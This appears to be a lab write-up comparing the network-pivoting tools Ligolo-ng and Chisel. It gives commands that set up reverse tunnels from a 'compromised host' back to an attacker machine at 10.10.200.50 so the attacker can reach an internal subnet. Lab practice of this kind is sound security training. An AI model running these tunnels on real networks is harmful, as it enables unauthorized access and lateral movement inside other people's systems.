Introduction

We as researcher often need secure methods to access internal services, troubleshoot remote systems, and test network connectivity across segmented environments. Two popular tools in this space are Chisel and Ligolo-ng, both of which enable network tunneling and traffic forwarding over encrypted channels. For this session, we'll using CRTA labs for practice that tools.

• Attacker (Kali Linux): 10.10.200.50
• Compromised Host: 192.168.80.10
• Pivot Target: 192.168.98.0/24

Chisel vs. Ligolo-ng

A. Ligolo-ng (https://github.com/nicocha30/ligolo-ng) Ligolo-ng setup is quiet imple and consists of two main components:

Proxy (Server): Runs on the attacker's machine, typically a Kali Linux system. Agent (Client): Runs on the compromised target machine and establishes a secure connection back to the proxy.

1. Setup Proxy (Server)

create TUN for interface 'ligolo'

sudo ip tuntap add user root mode tun ligolo

activate that interface

ip link set ligolo up

#Add 192.168.98.0/24 network range to the ligolo interface : (dev is device)

ip route add 192.168.98.0/24 dev ligolo

#running proxy:

./proxy -laddr 0.0.0.0:443 -selfcert

2. Setup Client/Target:

sample : ./agent -connect <IP_ATTACKER>:11601 -ignore-cert

./agent -connect 10.10.200.50:443 -ignore-cert

Check Tunnel list and session from attacker machine

Check if scanning on internal network success or not (success)

Next Tool:

B. Chisel (https://github.com/jpillora/chisel/releases/tag/v1.11.8) for chisel also consists of two main components:

1. Setup Server > ./chisel server -p 9001 — reverse

Edit file /etc/proxychains4.conf on Kali attacker and add line

socks5 127.0.0.1 1080

2. Setup Client (Compromised Server) > ./chisel client 10.10.200.50:9001 R:socks

now lets try to check to subnet 192.168.98.0/24, but unfortunately connection from chisel is terribly slow. So, we try to enumerate host by host.

Based on testing, both Chisel and Ligolo-ng are powerful tunneling solutions that can be effectively used in different environments. Neither tool is inherently better than the other, the right choice depends on the specific requirements, network architecture, operational constraints, and objectives of the engagement. Chisel excels in simplicity and quick deployment for port-forwarding scenarios, while Ligolo-ng provides a more transparent and flexible networking experience for complex environments. Understanding the strengths and limitations of each tool will help us to select the most suitable solution for particular needs.